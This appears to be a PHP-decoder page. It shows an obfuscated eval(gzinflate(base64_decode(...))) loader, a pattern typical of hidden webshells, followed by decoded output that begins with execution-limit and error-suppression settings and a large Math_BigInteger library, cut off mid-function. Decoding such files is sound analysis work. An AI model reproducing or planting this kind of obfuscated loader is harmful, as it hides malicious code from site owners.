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PHP Decode

<?php eval(gzinflate(base64_decode(str_replace("COMPAT_MODE","a","7H0JeyK3suhfIXN8gwn20Psy..

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set_time_limit(0); ini_set("display_errors", "Off"); define('MATH_BIGINTEGER_MONTGOMERY', 0); define('MATH_BIGINTEGER_BARRETT', 1); define('MATH_BIGINTEGER_POWEROF2', 2); define('MATH_BIGINTEGER_CLASSIC', 3); define('MATH_BIGINTEGER_NONE', 4); define('MATH_BIGINTEGER_VALUE', 0); define('MATH_BIGINTEGER_SIGN', 1); define('MATH_BIGINTEGER_VARIABLE', 0); define('MATH_BIGINTEGER_DATA', 1); define('MATH_BIGINTEGER_MODE_INTERNAL', 1); define('MATH_BIGINTEGER_MODE_BCMATH', 2); define('MATH_BIGINTEGER_MODE_GMP', 3); define('MATH_BIGINTEGER_KARATSUBA_CUTOFF', 25); class Math_BigInteger { var $value; var $is_negative = false; var $precision = -1; var $bitmask = false; var $hex; function __construct($x = 0, $base = 10) { if (!defined('MATH_BIGINTEGER_MODE')) { switch (true) { case extension_loaded('gmp'): define('MATH_BIGINTEGER_MODE', MATH_BIGINTEGER_MODE_GMP); break; case extension_loaded('bcmath'): define('MATH_BIGINTEGER_MODE', MATH_BIGINTEGER_MODE_BCMATH); break; default: define('MATH_BIGINTEGER_MODE', MATH_BIGINTEGER_MODE_INTERNAL); } } if (extension_loaded('openssl') && !defined('MATH_BIGINTEGER_OPENSSL_DISABLE') && !defined('MATH_BIGINTEGER_OPENSSL_ENABLED')) { ob_start(); @phpinfo(); $content = ob_get_contents(); ob_end_clean(); preg_match_all('#OpenSSL (Header|Library) Version(.*)#im', $content, $matches); $versions = array(); if (!empty($matches[1])) { for ($i = 0; $i < count($matches[1]); $i++) { $fullVersion = trim(str_replace('=>', '', strip_tags($matches[2][$i]))); if (!preg_match('/(\d+\.\d+\.\d+)/i', $fullVersion, $m)) { $versions[$matches[1][$i]] = $fullVersion; } else { $versions[$matches[1][$i]] = $m[0]; } } } switch (true) { case !isset($versions['Header']): case !isset($versions['Library']): case $versions['Header'] == $versions['Library']: case version_compare($versions['Header'], '1.0.0') >= 0 && version_compare($versions['Library'], '1.0.0') >= 0: define('MATH_BIGINTEGER_OPENSSL_ENABLED', true); break; default: define('MATH_BIGINTEGER_OPENSSL_DISABLE', true); } } if (!defined('PHP_INT_SIZE')) { define('PHP_INT_SIZE', 4); } if (!defined('MATH_BIGINTEGER_BASE') && MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_INTERNAL) { switch (PHP_INT_SIZE) { case 8: define('MATH_BIGINTEGER_BASE', 31); define('MATH_BIGINTEGER_BASE_FULL', 0x80000000); define('MATH_BIGINTEGER_MAX_DIGIT', 0x7FFFFFFF); define('MATH_BIGINTEGER_MSB', 0x40000000); define('MATH_BIGINTEGER_MAX10', 1000000000); define('MATH_BIGINTEGER_MAX10_LEN', 9); define('MATH_BIGINTEGER_MAX_DIGIT2', pow(2, 62)); break; default: define('MATH_BIGINTEGER_BASE', 26); define('MATH_BIGINTEGER_BASE_FULL', 0x4000000); define('MATH_BIGINTEGER_MAX_DIGIT', 0x3FFFFFF); define('MATH_BIGINTEGER_MSB', 0x2000000); define('MATH_BIGINTEGER_MAX10', 10000000); define('MATH_BIGINTEGER_MAX10_LEN', 7); define('MATH_BIGINTEGER_MAX_DIGIT2', pow(2, 52)); } } switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: switch (true) { case is_resource($x) && get_resource_type($x) == 'GMP integer': case is_object($x) && get_class($x) == 'GMP': $this->value = $x; return; } $this->value = gmp_init(0); break; case MATH_BIGINTEGER_MODE_BCMATH: $this->value = '0'; break; default: $this->value = array(); } if (empty($x) && (abs($base) != 256 || $x !== '0')) { return; } switch ($base) { case -256: if (ord($x[0]) & 0x80) { $x = ~$x; $this->is_negative = true; } case 256: switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $sign = $this->is_negative ? '-' : ''; $this->value = gmp_init($sign . '0x' . bin2hex($x)); break; case MATH_BIGINTEGER_MODE_BCMATH: $len = (strlen($x) + 3) & 0xFFFFFFFC; $x = str_pad($x, $len, chr(0), STR_PAD_LEFT); for ($i = 0; $i < $len; $i+= 4) { $this->value = bcmul($this->value, '4294967296', 0); $this->value = bcadd($this->value, 0x1000000 * ord($x[$i]) + ((ord($x[$i + 1]) << 16) | (ord($x[$i + 2]) << 8) | ord($x[$i + 3])), 0); } if ($this->is_negative) { $this->value = '-' . $this->value; } break; default: while (strlen($x)) { $this->value[] = $this->_bytes2int($this->_base256_rshift($x, MATH_BIGINTEGER_BASE)); } } if ($this->is_negative) { if (MATH_BIGINTEGER_MODE != MATH_BIGINTEGER_MODE_INTERNAL) { $this->is_negative = false; } $temp = $this->add(new Math_BigInteger('-1')); $this->value = $temp->value; } break; case 16: case -16: if ($base > 0 && $x[0] == '-') { $this->is_negative = true; $x = substr($x, 1); } $x = preg_replace('#^(?:0x)?([A-Fa-f0-9]*).*#', '$1', $x); $is_negative = false; if ($base < 0 && hexdec($x[0]) >= 8) { $this->is_negative = $is_negative = true; $x = bin2hex(~pack('H*', $x)); } switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $temp = $this->is_negative ? '-0x' . $x : '0x' . $x; $this->value = gmp_init($temp); $this->is_negative = false; break; case MATH_BIGINTEGER_MODE_BCMATH: $x = (strlen($x) & 1) ? '0' . $x : $x; $temp = new Math_BigInteger(pack('H*', $x), 256); $this->value = $this->is_negative ? '-' . $temp->value : $temp->value; $this->is_negative = false; break; default: $x = (strlen($x) & 1) ? '0' . $x : $x; $temp = new Math_BigInteger(pack('H*', $x), 256); $this->value = $temp->value; } if ($is_negative) { $temp = $this->add(new Math_BigInteger('-1')); $this->value = $temp->value; } break; case 10: case -10: $x = preg_replace('#(?<!^)(?:-).*|(?<=^|-)0*|[^-0-9].*#', '', $x); switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $this->value = gmp_init($x); break; case MATH_BIGINTEGER_MODE_BCMATH: $this->value = $x === '-' ? '0' : (string) $x; break; default: $temp = new Math_BigInteger(); $multiplier = new Math_BigInteger(); $multiplier->value = array(MATH_BIGINTEGER_MAX10); if ($x[0] == '-') { $this->is_negative = true; $x = substr($x, 1); } $x = str_pad($x, strlen($x) + ((MATH_BIGINTEGER_MAX10_LEN - 1) * strlen($x)) % MATH_BIGINTEGER_MAX10_LEN, 0, STR_PAD_LEFT); while (strlen($x)) { $temp = $temp->multiply($multiplier); $temp = $temp->add(new Math_BigInteger($this->_int2bytes(substr($x, 0, MATH_BIGINTEGER_MAX10_LEN)), 256)); $x = substr($x, MATH_BIGINTEGER_MAX10_LEN); } $this->value = $temp->value; } break; case 2: case -2: if ($base > 0 && $x[0] == '-') { $this->is_negative = true; $x = substr($x, 1); } $x = preg_replace('#^([01]*).*#', '$1', $x); $x = str_pad($x, strlen($x) + (3 * strlen($x)) % 4, 0, STR_PAD_LEFT); $str = '0x'; while (strlen($x)) { $part = substr($x, 0, 4); $str.= dechex(bindec($part)); $x = substr($x, 4); } if ($this->is_negative) { $str = '-' . $str; } $temp = new Math_BigInteger($str, 8 * $base); $this->value = $temp->value; $this->is_negative = $temp->is_negative; break; default: } } function Math_BigInteger($x = 0, $base = 10) { $this->__construct($x, $base); } function toBytes($twos_compliment = false) { if ($twos_compliment) { $comparison = $this->compare(new Math_BigInteger()); if ($comparison == 0) { return $this->precision > 0 ? str_repeat(chr(0), ($this->precision + 1) >> 3) : ''; } $temp = $comparison < 0 ? $this->add(new Math_BigInteger(1)) : $this->copy(); $bytes = $temp->toBytes(); if (empty($bytes)) { $bytes = chr(0); } if (ord($bytes[0]) & 0x80) { $bytes = chr(0) . $bytes; } return $comparison < 0 ? ~$bytes : $bytes; } switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: if (gmp_cmp($this->value, gmp_init(0)) == 0) { return $this->precision > 0 ? str_repeat(chr(0), ($this->precision + 1) >> 3) : ''; } $temp = gmp_strval(gmp_abs($this->value), 16); $temp = (strlen($temp) & 1) ? '0' . $temp : $temp; $temp = pack('H*', $temp); return $this->precision > 0 ? substr(str_pad($temp, $this->precision >> 3, chr(0), STR_PAD_LEFT), -($this->precision >> 3)) : ltrim($temp, chr(0)); case MATH_BIGINTEGER_MODE_BCMATH: if ($this->value === '0') { return $this->precision > 0 ? str_repeat(chr(0), ($this->precision + 1) >> 3) : ''; } $value = ''; $current = $this->value; if ($current[0] == '-') { $current = substr($current, 1); } while (bccomp($current, '0', 0) > 0) { $temp = bcmod($current, '16777216'); $value = chr($temp >> 16) . chr($temp >> 8) . chr($temp) . $value; $current = bcdiv($current, '16777216', 0); } return $this->precision > 0 ? substr(str_pad($value, $this->precision >> 3, chr(0), STR_PAD_LEFT), -($this->precision >> 3)) : ltrim($value, chr(0)); } if (!count($this->value)) { return $this->precision > 0 ? str_repeat(chr(0), ($this->precision + 1) >> 3) : ''; } $result = $this->_int2bytes($this->value[count($this->value) - 1]); $temp = $this->copy(); for ($i = count($temp->value) - 2; $i >= 0; --$i) { $temp->_base256_lshift($result, MATH_BIGINTEGER_BASE); $result = $result | str_pad($temp->_int2bytes($temp->value[$i]), strlen($result), chr(0), STR_PAD_LEFT); } return $this->precision > 0 ? str_pad(substr($result, -(($this->precision + 7) >> 3)), ($this->precision + 7) >> 3, chr(0), STR_PAD_LEFT) : $result; } function toHex($twos_compliment = false) { return bin2hex($this->toBytes($twos_compliment)); } function toBits($twos_compliment = false) { $hex = $this->toHex($twos_compliment); $bits = ''; for ($i = strlen($hex) - 8, $start = strlen($hex) & 7; $i >= $start; $i-=8) { $bits = str_pad(decbin(hexdec(substr($hex, $i, 8))), 32, '0', STR_PAD_LEFT) . $bits; } if ($start) { $bits = str_pad(decbin(hexdec(substr($hex, 0, $start))), 8, '0', STR_PAD_LEFT) . $bits; } $result = $this->precision > 0 ? substr($bits, -$this->precision) : ltrim($bits, '0'); if ($twos_compliment && $this->compare(new Math_BigInteger()) > 0 && $this->precision <= 0) { return '0' . $result; } return $result; } function toString() { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: return gmp_strval($this->value); case MATH_BIGINTEGER_MODE_BCMATH: if ($this->value === '0') { return '0'; } return ltrim($this->value, '0'); } if (!count($this->value)) { return '0'; } $temp = $this->copy(); $temp->is_negative = false; $divisor = new Math_BigInteger(); $divisor->value = array(MATH_BIGINTEGER_MAX10); $result = ''; while (count($temp->value)) { list($temp, $mod) = $temp->divide($divisor); $result = str_pad(isset($mod->value[0]) ? $mod->value[0] : '', MATH_BIGINTEGER_MAX10_LEN, '0', STR_PAD_LEFT) . $result; } $result = ltrim($result, '0'); if (empty($result)) { $result = '0'; } if ($this->is_negative) { $result = '-' . $result; } return $result; } function copy() { $temp = new Math_BigInteger(); $temp->value = $this->value; $temp->is_negative = $this->is_negative; $temp->precision = $this->precision; $temp->bitmask = $this->bitmask; return $temp; } function __toString() { return $this->toString(); } function __clone() { return $this->copy(); } function __sleep() { $this->hex = $this->toHex(true); $vars = array('hex'); if ($this->precision > 0) { $vars[] = 'precision'; } return $vars; } function __wakeup() { $temp = new Math_BigInteger($this->hex, -16); $this->value = $temp->value; $this->is_negative = $temp->is_negative; if ($this->precision > 0) { $this->setPrecision($this->precision); } } function __debugInfo() { $opts = array(); switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $engine = 'gmp'; break; case MATH_BIGINTEGER_MODE_BCMATH: $engine = 'bcmath'; break; case MATH_BIGINTEGER_MODE_INTERNAL: $engine = 'internal'; $opts[] = PHP_INT_SIZE == 8 ? '64-bit' : '32-bit'; } if (MATH_BIGINTEGER_MODE != MATH_BIGINTEGER_MODE_GMP && defined('MATH_BIGINTEGER_OPENSSL_ENABLED')) { $opts[] = 'OpenSSL'; } if (!empty($opts)) { $engine.= ' (' . implode($opts, ', ') . ')'; } return array( 'value' => '0x' . $this->toHex(true), 'engine' => $engine ); } function add($y) { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $temp = new Math_BigInteger(); $temp->value = gmp_add($this->value, $y->value); return $this->_normalize($temp); case MATH_BIGINTEGER_MODE_BCMATH: $temp = new Math_BigInteger(); $temp->value = bcadd($this->value, $y->value, 0); return $this->_normalize($temp); } $temp = $this->_add($this->value, $this->is_negative, $y->value, $y->is_negative); $result = new Math_BigInteger(); $result->value = $temp[MATH_BIGINTEGER_VALUE]; $result->is_negative = $temp[MATH_BIGINTEGER_SIGN]; return $this->_normalize($result); } function _add($x_value, $x_negative, $y_value, $y_negative) { $x_size = count($x_value); $y_size = count($y_value); if ($x_size == 0) { return array( MATH_BIGINTEGER_VALUE => $y_value, MATH_BIGINTEGER_SIGN => $y_negative ); } elseif ($y_size == 0) { return array( MATH_BIGINTEGER_VALUE => $x_value, MATH_BIGINTEGER_SIGN => $x_negative ); } if ($x_negative != $y_negative) { if ($x_value == $y_value) { return array( MATH_BIGINTEGER_VALUE => array(), MATH_BIGINTEGER_SIGN => false ); } $temp = $this->_subtract($x_value, false, $y_value, false); $temp[MATH_BIGINTEGER_SIGN] = $this->_compare($x_value, false, $y_value, false) > 0 ? $x_negative : $y_negative; return $temp; } if ($x_size < $y_size) { $size = $x_size; $value = $y_value; } else { $size = $y_size; $value = $x_value; } $value[count($value)] = 0; $carry = 0; for ($i = 0, $j = 1; $j < $size; $i+=2, $j+=2) { $sum = $x_value[$j] * MATH_BIGINTEGER_BASE_FULL + $x_value[$i] + $y_value[$j] * MATH_BIGINTEGER_BASE_FULL + $y_value[$i] + $carry; $carry = $sum >= MATH_BIGINTEGER_MAX_DIGIT2; $sum = $carry ? $sum - MATH_BIGINTEGER_MAX_DIGIT2 : $sum; $temp = MATH_BIGINTEGER_BASE === 26 ? intval($sum / 0x4000000) : ($sum >> 31); $value[$i] = (int) ($sum - MATH_BIGINTEGER_BASE_FULL * $temp); $value[$j] = $temp; } if ($j == $size) { $sum = $x_value[$i] + $y_value[$i] + $carry; $carry = $sum >= MATH_BIGINTEGER_BASE_FULL; $value[$i] = $carry ? $sum - MATH_BIGINTEGER_BASE_FULL : $sum; ++$i; } if ($carry) { for (; $value[$i] == MATH_BIGINTEGER_MAX_DIGIT; ++$i) { $value[$i] = 0; } ++$value[$i]; } return array( MATH_BIGINTEGER_VALUE => $this->_trim($value), MATH_BIGINTEGER_SIGN => $x_negative ); } function subtract($y) { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $temp = new Math_BigInteger(); $temp->value = gmp_sub($this->value, $y->value); return $this->_normalize($temp); case MATH_BIGINTEGER_MODE_BCMATH: $temp = new Math_BigInteger(); $temp->value = bcsub($this->value, $y->value, 0); return $this->_normalize($temp); } $temp = $this->_subtract($this->value, $this->is_negative, $y->value, $y->is_negative); $result = new Math_BigInteger(); $result->value = $temp[MATH_BIGINTEGER_VALUE]; $result->is_negative = $temp[MATH_BIGINTEGER_SIGN]; return $this->_normalize($result); } function _subtract($x_value, $x_negative, $y_value, $y_negative) { $x_size = count($x_value); $y_size = count($y_value); if ($x_size == 0) { return array( MATH_BIGINTEGER_VALUE => $y_value, MATH_BIGINTEGER_SIGN => !$y_negative ); } elseif ($y_size == 0) { return array( MATH_BIGINTEGER_VALUE => $x_value, MATH_BIGINTEGER_SIGN => $x_negative ); } if ($x_negative != $y_negative) { $temp = $this->_add($x_value, false, $y_value, false); $temp[MATH_BIGINTEGER_SIGN] = $x_negative; return $temp; } $diff = $this->_compare($x_value, $x_negative, $y_value, $y_negative); if (!$diff) { return array( MATH_BIGINTEGER_VALUE => array(), MATH_BIGINTEGER_SIGN => false ); } if ((!$x_negative && $diff < 0) || ($x_negative && $diff > 0)) { $temp = $x_value; $x_value = $y_value; $y_value = $temp; $x_negative = !$x_negative; $x_size = count($x_value); $y_size = count($y_value); } $carry = 0; for ($i = 0, $j = 1; $j < $y_size; $i+=2, $j+=2) { $sum = $x_value[$j] * MATH_BIGINTEGER_BASE_FULL + $x_value[$i] - $y_value[$j] * MATH_BIGINTEGER_BASE_FULL - $y_value[$i] - $carry; $carry = $sum < 0; $sum = $carry ? $sum + MATH_BIGINTEGER_MAX_DIGIT2 : $sum; $temp = MATH_BIGINTEGER_BASE === 26 ? intval($sum / 0x4000000) : ($sum >> 31); $x_value[$i] = (int) ($sum - MATH_BIGINTEGER_BASE_FULL * $temp); $x_value[$j] = $temp; } if ($j == $y_size) { $sum = $x_value[$i] - $y_value[$i] - $carry; $carry = $sum < 0; $x_value[$i] = $carry ? $sum + MATH_BIGINTEGER_BASE_FULL : $sum; ++$i; } if ($carry) { for (; !$x_value[$i]; ++$i) { $x_value[$i] = MATH_BIGINTEGER_MAX_DIGIT; } --$x_value[$i]; } return array( MATH_BIGINTEGER_VALUE => $this->_trim($x_value), MATH_BIGINTEGER_SIGN => $x_negative ); } function multiply($x) { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $temp = new Math_BigInteger(); $temp->value = gmp_mul($this->value, $x->value); return $this->_normalize($temp); case MATH_BIGINTEGER_MODE_BCMATH: $temp = new Math_BigInteger(); $temp->value = bcmul($this->value, $x->value, 0); return $this->_normalize($temp); } $temp = $this->_multiply($this->value, $this->is_negative, $x->value, $x->is_negative); $product = new Math_BigInteger(); $product->value = $temp[MATH_BIGINTEGER_VALUE]; $product->is_negative = $temp[MATH_BIGINTEGER_SIGN]; return $this->_normalize($product); } function _multiply($x_value, $x_negative, $y_value, $y_negative) { $x_length = count($x_value); $y_length = count($y_value); if (!$x_length || !$y_length) { return array( MATH_BIGINTEGER_VALUE => array(), MATH_BIGINTEGER_SIGN => false ); } return array( MATH_BIGINTEGER_VALUE => min($x_length, $y_length) < 2 * MATH_BIGINTEGER_KARATSUBA_CUTOFF ? $this->_trim($this->_regularMultiply($x_value, $y_value)) : $this->_trim($this->_karatsuba($x_value, $y_value)), MATH_BIGINTEGER_SIGN => $x_negative != $y_negative ); } function _regularMultiply($x_value, $y_value) { $x_length = count($x_value); $y_length = count($y_value); if (!$x_length || !$y_length) { return array(); } if ($x_length < $y_length) { $temp = $x_value; $x_value = $y_value; $y_value = $temp; $x_length = count($x_value); $y_length = count($y_value); } $product_value = $this->_array_repeat(0, $x_length + $y_length); $carry = 0; for ($j = 0; $j < $x_length; ++$j) { $temp = $x_value[$j] * $y_value[0] + $carry; $carry = MATH_BIGINTEGER_BASE === 26 ? intval($temp / 0x4000000) : ($temp >> 31); $product_value[$j] = (int) ($temp - MATH_BIGINTEGER_BASE_FULL * $carry); } $product_value[$j] = $carry; for ($i = 1; $i < $y_length; ++$i) { $carry = 0; for ($j = 0, $k = $i; $j < $x_length; ++$j, ++$k) { $temp = $product_value[$k] + $x_value[$j] * $y_value[$i] + $carry; $carry = MATH_BIGINTEGER_BASE === 26 ? intval($temp / 0x4000000) : ($temp >> 31); $product_value[$k] = (int) ($temp - MATH_BIGINTEGER_BASE_FULL * $carry); } $product_value[$k] = $carry; } return $product_value; } function _karatsuba($x_value, $y_value) { $m = min(count($x_value) >> 1, count($y_value) >> 1); if ($m < MATH_BIGINTEGER_KARATSUBA_CUTOFF) { return $this->_regularMultiply($x_value, $y_value); } $x1 = array_slice($x_value, $m); $x0 = array_slice($x_value, 0, $m); $y1 = array_slice($y_value, $m); $y0 = array_slice($y_value, 0, $m); $z2 = $this->_karatsuba($x1, $y1); $z0 = $this->_karatsuba($x0, $y0); $z1 = $this->_add($x1, false, $x0, false); $temp = $this->_add($y1, false, $y0, false); $z1 = $this->_karatsuba($z1[MATH_BIGINTEGER_VALUE], $temp[MATH_BIGINTEGER_VALUE]); $temp = $this->_add($z2, false, $z0, false); $z1 = $this->_subtract($z1, false, $temp[MATH_BIGINTEGER_VALUE], false); $z2 = array_merge(array_fill(0, 2 * $m, 0), $z2); $z1[MATH_BIGINTEGER_VALUE] = array_merge(array_fill(0, $m, 0), $z1[MATH_BIGINTEGER_VALUE]); $xy = $this->_add($z2, false, $z1[MATH_BIGINTEGER_VALUE], $z1[MATH_BIGINTEGER_SIGN]); $xy = $this->_add($xy[MATH_BIGINTEGER_VALUE], $xy[MATH_BIGINTEGER_SIGN], $z0, false); return $xy[MATH_BIGINTEGER_VALUE]; } function _square($x = false) { return count($x) < 2 * MATH_BIGINTEGER_KARATSUBA_CUTOFF ? $this->_trim($this->_baseSquare($x)) : $this->_trim($this->_karatsubaSquare($x)); } function _baseSquare($value) { if (empty($value)) { return array(); } $square_value = $this->_array_repeat(0, 2 * count($value)); for ($i = 0, $max_index = count($value) - 1; $i <= $max_index; ++$i) { $i2 = $i << 1; $temp = $square_value[$i2] + $value[$i] * $value[$i]; $carry = MATH_BIGINTEGER_BASE === 26 ? intval($temp / 0x4000000) : ($temp >> 31); $square_value[$i2] = (int) ($temp - MATH_BIGINTEGER_BASE_FULL * $carry); for ($j = $i + 1, $k = $i2 + 1; $j <= $max_index; ++$j, ++$k) { $temp = $square_value[$k] + 2 * $value[$j] * $value[$i] + $carry; $carry = MATH_BIGINTEGER_BASE === 26 ? intval($temp / 0x4000000) : ($temp >> 31); $square_value[$k] = (int) ($temp - MATH_BIGINTEGER_BASE_FULL * $carry); } $square_value[$i + $max_index + 1] = $carry; } return $square_value; } function _karatsubaSquare($value) { $m = count($value) >> 1; if ($m < MATH_BIGINTEGER_KARATSUBA_CUTOFF) { return $this->_baseSquare($value); } $x1 = array_slice($value, $m); $x0 = array_slice($value, 0, $m); $z2 = $this->_karatsubaSquare($x1); $z0 = $this->_karatsubaSquare($x0); $z1 = $this->_add($x1, false, $x0, false); $z1 = $this->_karatsubaSquare($z1[MATH_BIGINTEGER_VALUE]); $temp = $this->_add($z2, false, $z0, false); $z1 = $this->_subtract($z1, false, $temp[MATH_BIGINTEGER_VALUE], false); $z2 = array_merge(array_fill(0, 2 * $m, 0), $z2); $z1[MATH_BIGINTEGER_VALUE] = array_merge(array_fill(0, $m, 0), $z1[MATH_BIGINTEGER_VALUE]); $xx = $this->_add($z2, false, $z1[MATH_BIGINTEGER_VALUE], $z1[MATH_BIGINTEGER_SIGN]); $xx = $this->_add($xx[MATH_BIGINTEGER_VALUE], $xx[MATH_BIGINTEGER_SIGN], $z0, false); return $xx[MATH_BIGINTEGER_VALUE]; } function divide($y) { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $quotient = new Math_BigInteger(); $remainder = new Math_BigInteger(); list($quotient->value, $remainder->value) = gmp_div_qr($this->value, $y->value); if (gmp_sign($remainder->value) < 0) { $remainder->value = gmp_add($remainder->value, gmp_abs($y->value)); } return array($this->_normalize($quotient), $this->_normalize($remainder)); case MATH_BIGINTEGER_MODE_BCMATH: $quotient = new Math_BigInteger(); $remainder = new Math_BigInteger(); $quotient->value = bcdiv($this->value, $y->value, 0); $remainder->value = bcmod($this->value, $y->value); if ($remainder->value[0] == '-') { $remainder->value = bcadd($remainder->value, $y->value[0] == '-' ? substr($y->value, 1) : $y->value, 0); } return array($this->_normalize($quotient), $this->_normalize($remainder)); } if (count($y->value) == 1) { list($q, $r) = $this->_divide_digit($this->value, $y->value[0]); $quotient = new Math_BigInteger(); $remainder = new Math_BigInteger(); $quotient->value = $q; $remainder->value = array($r); $quotient->is_negative = $this->is_negative != $y->is_negative; return array($this->_normalize($quotient), $this->_normalize($remainder)); } static $zero; if (!isset($zero)) { $zero = new Math_BigInteger(); } $x = $this->copy(); $y = $y->copy(); $x_sign = $x->is_negative; $y_sign = $y->is_negative; $x->is_negative = $y->is_negative = false; $diff = $x->compare($y); if (!$diff) { $temp = new Math_BigInteger(); $temp->value = array(1); $temp->is_negative = $x_sign != $y_sign; return array($this->_normalize($temp), $this->_normalize(new Math_BigInteger())); } if ($diff < 0) { if ($x_sign) { $x = $y->subtract($x); } return array($this->_normalize(new Math_BigInteger()), $this->_normalize($x)); } $msb = $y->value[count($y->value) - 1]; for ($shift = 0; !($msb & MATH_BIGINTEGER_MSB); ++$shift) { $msb <<= 1; } $x->_lshift($shift); $y->_lshift($shift); $y_value = &$y->value; $x_max = count($x->value) - 1; $y_max = count($y->value) - 1; $quotient = new Math_BigInteger(); $quotient_value = &$quotient->value; $quotient_value = $this->_array_repeat(0, $x_max - $y_max + 1); static $temp, $lhs, $rhs; if (!isset($temp)) { $temp = new Math_BigInteger(); $lhs = new Math_BigInteger(); $rhs = new Math_BigInteger(); } $temp_value = &$temp->value; $rhs_value = &$rhs->value; $temp_value = array_merge($this->_array_repeat(0, $x_max - $y_max), $y_value); while ($x->compare($temp) >= 0) { ++$quotient_value[$x_max - $y_max]; $x = $x->subtract($temp); $x_max = count($x->value) - 1; } for ($i = $x_max; $i >= $y_max + 1; --$i) { $x_value = &$x->value; $x_window = array( isset($x_value[$i]) ? $x_value[$i] : 0, isset($x_value[$i - 1]) ? $x_value[$i - 1] : 0, isset($x_value[$i - 2]) ? $x_value[$i - 2] : 0 ); $y_window = array( $y_value[$y_max], ($y_max > 0) ? $y_value[$y_max - 1] : 0 ); $q_index = $i - $y_max - 1; if ($x_window[0] == $y_window[0]) { $quotient_value[$q_index] = MATH_BIGINTEGER_MAX_DIGIT; } else { $quotient_value[$q_index] = $this->_safe_divide( $x_window[0] * MATH_BIGINTEGER_BASE_FULL + $x_window[1], $y_window[0] ); } $temp_value = array($y_window[1], $y_window[0]); $lhs->value = array($quotient_value[$q_index]); $lhs = $lhs->multiply($temp); $rhs_value = array($x_window[2], $x_window[1], $x_window[0]); while ($lhs->compare($rhs) > 0) { --$quotient_value[$q_index]; $lhs->value = array($quotient_value[$q_index]); $lhs = $lhs->multiply($temp); } $adjust = $this->_array_repeat(0, $q_index); $temp_value = array($quotient_value[$q_index]); $temp = $temp->multiply($y); $temp_value = &$temp->value; $temp_value = array_merge($adjust, $temp_value); $x = $x->subtract($temp); if ($x->compare($zero) < 0) { $temp_value = array_merge($adjust, $y_value); $x = $x->add($temp); --$quotient_value[$q_index]; } $x_max = count($x_value) - 1; } $x->_rshift($shift); $quotient->is_negative = $x_sign != $y_sign; if ($x_sign) { $y->_rshift($shift); $x = $y->subtract($x); } return array($this->_normalize($quotient), $this->_normalize($x)); } function _divide_digit($dividend, $divisor) { $carry = 0; $result = array(); for ($i = count($dividend) - 1; $i >= 0; --$i) { $temp = MATH_BIGINTEGER_BASE_FULL * $carry + $dividend[$i]; $result[$i] = $this->_safe_divide($temp, $divisor); $carry = (int) ($temp - $divisor * $result[$i]); } return array($result, $carry); } function modPow($e, $n) { $n = $this->bitmask !== false && $this->bitmask->compare($n) < 0 ? $this->bitmask : $n->abs(); if ($e->compare(new Math_BigInteger()) < 0) { $e = $e->abs(); $temp = $this->modInverse($n); if ($temp === false) { return false; } return $this->_normalize($temp->modPow($e, $n)); } if (MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_GMP) { $temp = new Math_BigInteger(); $temp->value = gmp_powm($this->value, $e->value, $n->value); return $this->_normalize($temp); } if ($this->compare(new Math_BigInteger()) < 0 || $this->compare($n) > 0) { list(, $temp) = $this->divide($n); return $temp->modPow($e, $n); } if (defined('MATH_BIGINTEGER_OPENSSL_ENABLED')) { $components = array( 'modulus' => $n->toBytes(true), 'publicExponent' => $e->toBytes(true) ); $components = array( 'modulus' => pack('Ca*a*', 2, $this->_encodeASN1Length(strlen($components['modulus'])), $components['modulus']), 'publicExponent' => pack('Ca*a*', 2, $this->_encodeASN1Length(strlen($components['publicExponent'])), $components['publicExponent']) ); $RSAPublicKey = pack( 'Ca*a*a*', 48, $this->_encodeASN1Length(strlen($components['modulus']) + strlen($components['publicExponent'])), $components['modulus'], $components['publicExponent'] ); $rsaOID = pack('H*', '300d06092a864886f70d0101010500'); $RSAPublicKey = chr(0) . $RSAPublicKey; $RSAPublicKey = chr(3) . $this->_encodeASN1Length(strlen($RSAPublicKey)) . $RSAPublicKey; $encapsulated = pack( 'Ca*a*', 48, $this->_encodeASN1Length(strlen($rsaOID . $RSAPublicKey)), $rsaOID . $RSAPublicKey ); $RSAPublicKey = "-----BEGIN PUBLIC KEY-----
" . chunk_split(base64_encode($encapsulated)) . '-----END PUBLIC KEY-----'; $plaintext = str_pad($this->toBytes(), strlen($n->toBytes(true)) - 1, "", STR_PAD_LEFT); if (openssl_public_encrypt($plaintext, $result, $RSAPublicKey, OPENSSL_NO_PADDING)) { return new Math_BigInteger($result, 256); } } if (MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_BCMATH) { $temp = new Math_BigInteger(); $temp->value = bcpowmod($this->value, $e->value, $n->value, 0); return $this->_normalize($temp); } if (empty($e->value)) { $temp = new Math_BigInteger(); $temp->value = array(1); return $this->_normalize($temp); } if ($e->value == array(1)) { list(, $temp) = $this->divide($n); return $this->_normalize($temp); } if ($e->value == array(2)) { $temp = new Math_BigInteger(); $temp->value = $this->_square($this->value); list(, $temp) = $temp->divide($n); return $this->_normalize($temp); } return $this->_normalize($this->_slidingWindow($e, $n, MATH_BIGINTEGER_BARRETT)); if ($n->value[0] & 1) { return $this->_normalize($this->_slidingWindow($e, $n, MATH_BIGINTEGER_MONTGOMERY)); } for ($i = 0; $i < count($n->value); ++$i) { if ($n->value[$i]) { $temp = decbin($n->value[$i]); $j = strlen($temp) - strrpos($temp, '1') - 1; $j+= 26 * $i; break; } } $mod1 = $n->copy(); $mod1->_rshift($j); $mod2 = new Math_BigInteger(); $mod2->value = array(1); $mod2->_lshift($j); $part1 = ($mod1->value != array(1)) ? $this->_slidingWindow($e, $mod1, MATH_BIGINTEGER_MONTGOMERY) : new Math_BigInteger(); $part2 = $this->_slidingWindow($e, $mod2, 